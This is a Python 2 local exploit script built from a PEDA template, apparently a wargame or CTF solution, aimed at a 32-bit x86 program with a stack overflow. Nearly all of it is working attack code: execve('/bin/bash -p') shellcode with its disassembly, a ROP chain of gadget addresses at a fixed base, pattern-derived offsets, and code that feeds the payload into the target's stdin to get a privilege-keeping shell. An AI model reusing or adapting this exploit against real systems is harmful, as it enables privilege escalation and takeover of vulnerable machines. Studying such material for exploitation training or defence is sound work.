#!/usr/bin/env python
#
# Template for local stdin exploit code, generated by PEDA
#
import os
import sys
import struct
import resource
import time

"""
Registers contain pattern buffer:
EIP+0 found at offset: 36
EBX+0 found at offset: 20
EDI+0 found at offset: 28
EBP+0 found at offset: 32
ESI+0 found at offset: 24
Registers point to pattern buffer:
[EDX] --> offset 4 - size ~203
[ECX] --> offset 4 - size ~203
[ESP] --> offset 40 - size ~203
Pattern buffer found at:
0xffffcf2c : offset    4 - size  555 ($sp + -0x24 [-9 dwords])
References to pattern buffer found at:
0xffffce68 : 0xffffcf2c ($sp + -0xe8 [-58 dwords])
0xffffcea8 : 0xffffcf2c ($sp + -0xa8 [-42 dwords])
0xffffced8 : 0xffffcf2c ($sp + -0x78 [-30 dwords])
0xffffcef0 : 0xffffcf2c ($sp + -0x60 [-24 dwords])
0xffffcf04 : 0xffffcf2c ($sp + -0x4c [-19 dwords])
0xffffcf1c : 0xffffcf2c ($sp + -0x34 [-13 dwords])
"""

sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"

def usage():
    print "Usage: %s target_program" % sys.argv[0]
    return

def pattern(size=1024, start=0):
    try:
        bytes = open("pattern.txt").read(size+start)
        return bytes[start:]
    except:
        return "A"*size

def nops(size=1024):
    return "\x90"*size

def int2hexstr(num, intsize=4):
    if intsize == 8:
        if num < 0:
            result = struct.pack("<q", num)
        else:
            result = struct.pack("<Q", num)
    else:
        if num < 0:
            result = struct.pack("<l", num)
        else:
            result = struct.pack("<L", num)
    return result

i2hs = int2hexstr

def list2hexstr(intlist, intsize=4):
    result = ""
    for value in intlist:
        if isinstance(value, str):
            result += value
        else:
            result += int2hexstr(value, intsize)
    return result

l2hs = list2hexstr

from subprocess import *

'''
push   $0xb
pop    %eax
cltd   
push   %edx
pushw  $0x702d
mov    %esp,%ecx
push   %edx
push   $0x68
push   $0x7361622f
push   $0x6e69622f
mov    %esp,%ebx
push   %edx
push   %ecx
push   %ebx
mov    %esp,%ecx
int    $0x80
'''
def exploit(vuln):
    base = 0x0f000000
    # 0x0000051b: int 0x80 ;  (1 found)
    push_ebx = base + 0x0000112a # debile
    push_ecx = base + 0x000081c4 # ...

    add_esi_eax = base + 0x000077e0
    add_ecx_ebp = base + 0x00002416

    pop_eax = base + 0x00001733
    pop_ebx = base + 0x00000cd3
    pop_ecx = base + 0x00002771
    pop_edx = base + 0x000006f5
    pop_esi = base + 0x000023d5
    pop_ebp = base + 0x00002de2

    dec_eax = base + 0x0000482f
    dec_ebx = base + 0x0000351b

    x_eax_ebx = base + 0x00003380
    x_eax_ecx = base + 0x00004e1d
    x_eax_edx = base + 0x0000198d
    x_eax_esi = base + 0x0000191c
    x_eax_edi = base + 0x00002bd3

    x_pesi_ebx = base + 0x000049fc
    mov_pecx_ebx = base + 0x00006868

    save_esp_ecx = base + 0x00006aba

    int80 = base + 0x51b

    # edx = 0
    rop_stack = i2hs(pop_edx)
    rop_stack+= i2hs(0x0)
    # ebx = esp + off
    # string -> esi
    rop_stack+= i2hs(save_esp_ecx)
    rop_stack+= i2hs(pop_ebp)
    rop_stack+= i2hs(0xd4 - 0x48) # first arg
    rop_stack+= i2hs(add_ecx_ebp)
    rop_stack+= i2hs(x_eax_ecx)
    rop_stack+= i2hs(x_eax_ebx)
    rop_stack+= i2hs(save_esp_ecx)
    rop_stack+= i2hs(pop_ebp)
    rop_stack+= i2hs(0xc8 - 0x60) # 1st arg
    rop_stack+= i2hs(add_ecx_ebp)
    rop_stack+= i2hs(mov_pecx_ebx) # [off] = val
    rop_stack+= i2hs(x_eax_ebx)
    rop_stack+= i2hs(x_eax_esi)
    rop_stack+= i2hs(x_eax_ecx)
    rop_stack+= i2hs(x_eax_edi)
    # ecx = esp + off
    # debut struct
    rop_stack+= i2hs(save_esp_ecx)
    rop_stack+= i2hs(pop_ebp)
    rop_stack+= i2hs(0xe4 - 0x84) # offset -p
    rop_stack+= i2hs(add_ecx_ebp)
    rop_stack+= i2hs(x_eax_ecx)
    rop_stack+= i2hs(x_eax_ebx)
    rop_stack+= i2hs(save_esp_ecx)
    rop_stack+= i2hs(pop_ebp)
    rop_stack+= i2hs(0xcc - 0x9c) # 2nd arg
    rop_stack+= i2hs(add_ecx_ebp)
    rop_stack+= i2hs(mov_pecx_ebx) # [off] = val
    
    rop_stack+= i2hs(x_eax_esi) # restore
    rop_stack+= i2hs(x_eax_ebx)
    rop_stack+= i2hs(x_eax_edi)
    rop_stack+= i2hs(x_eax_ecx)
    # eax = 0xb
    rop_stack+= i2hs(pop_eax)
    rop_stack+= i2hs(0xb)
    # int 0x80
    rop_stack+= i2hs(int80)
    rop_stack+= "JONK"
    rop_stack+= "JUNK"
    rop_stack+= i2hs(0x0)
    rop_stack+= i2hs(0x6e69622f)
    rop_stack+= i2hs(0x7361622f)
    rop_stack+= i2hs(0x68)
    rop_stack+= i2hs(0x0)
    rop_stack+= i2hs(0x702d)
    rop_stack+= i2hs(0x0)
    #rop_stack+= i2hs()

    padding = pattern(0)
    payload = [padding]
    payload += [ "AAAA" + nops(32) + rop_stack] # put your payload here
    payload = list2hexstr(payload)
    f = open("inp", "w")
    f.write(payload)
    f.close()

    env = {"PEDA":nops()}
    args = sys.argv[1:]
    resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
    resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))
    P = Popen(args, stdin=PIPE)
    P.stdin.write(payload + "\n")
    while True:
        line = sys.stdin.readline()
        P.poll()
        ret = P.returncode
        if ret is None:
            P.stdin.write(line)
        else:
            if ret == -11:
                print "Child program crashed with SIGSEGV"
            else:
                print "Child program exited with code %d" % ret
            break

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit(sys.argv[1])
    
